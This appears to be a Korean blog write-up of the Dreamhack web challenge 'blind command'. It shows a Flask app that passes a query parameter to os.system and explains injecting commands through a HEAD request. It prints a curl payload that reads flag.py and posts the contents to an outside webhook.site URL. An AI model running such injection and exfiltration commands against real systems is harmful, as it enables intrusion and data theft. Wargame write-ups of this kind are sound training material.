[WARGAME] Dreamhack - blind command
2022. 7. 5. 00:01ㆍ정보보안/CTFLOG
반응형
난이도는 2렙, 웹 해킹 분야의 blind command 라는 문제다.
우선 링크에 접속하면
?cmd=[cmd] 라는 문구만 주어진다.
이를 통해 파라미터를 통해 커맨드를 주입 시킬수 있다는 것을 유추 해볼 수 있다.
하지만 커맨드들이 서버에서 실행 되지 않고 그냥 출력된다.
이때, 소스코드를 확인하면
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
GET으로 받게 되면 바로 출력되고 GET형식이 아니라면 서버에서 실행된다.
따라서 버프슈트나 postman으로 Allows를 확인 해볼수 있다.
GET,HEAD,OPTIONS를 허용한다.
따라서 HEAD를 사용하여 보내면 서버로 전송해서 커맨드를 삽입 할 수 있다.
curl%20-X%20POST%20-d%20%22$(cat%20flag.py%20|%20tr%20-d%20%27%20|\n%27)%22%20https://webhook.site/c569027a-f0f0-4c1e-a00b-13422e98876f
curl -X POST -d "$(cat flag.py | tr -d ' |\n')" https://webhook.site/c569027a-f0f0-4c1e-a00b-13422e98876f
curl에 대한 옵션값들은 https://nitw.tistory.com/131 이곳에서 확인 할 수 있다.
반응형
'정보보안 > CTFLOG' 카테고리의 다른 글
[WARGAME] Dreamhack - XSS Filtering Bypass Advanced (0) | 2022.07.13 |
---|---|
[WARGAME] Dreamhack - blind sql injection (0) | 2022.07.11 |
[WARGAME] Dreamhack - web-deserialize-python (0) | 2022.07.07 |
[WARGAME] Dreamhack - baby Sqlite (0) | 2022.07.06 |
[WARGAME] Dreamhack - XSS Filtering Bypass (0) | 2022.07.05 |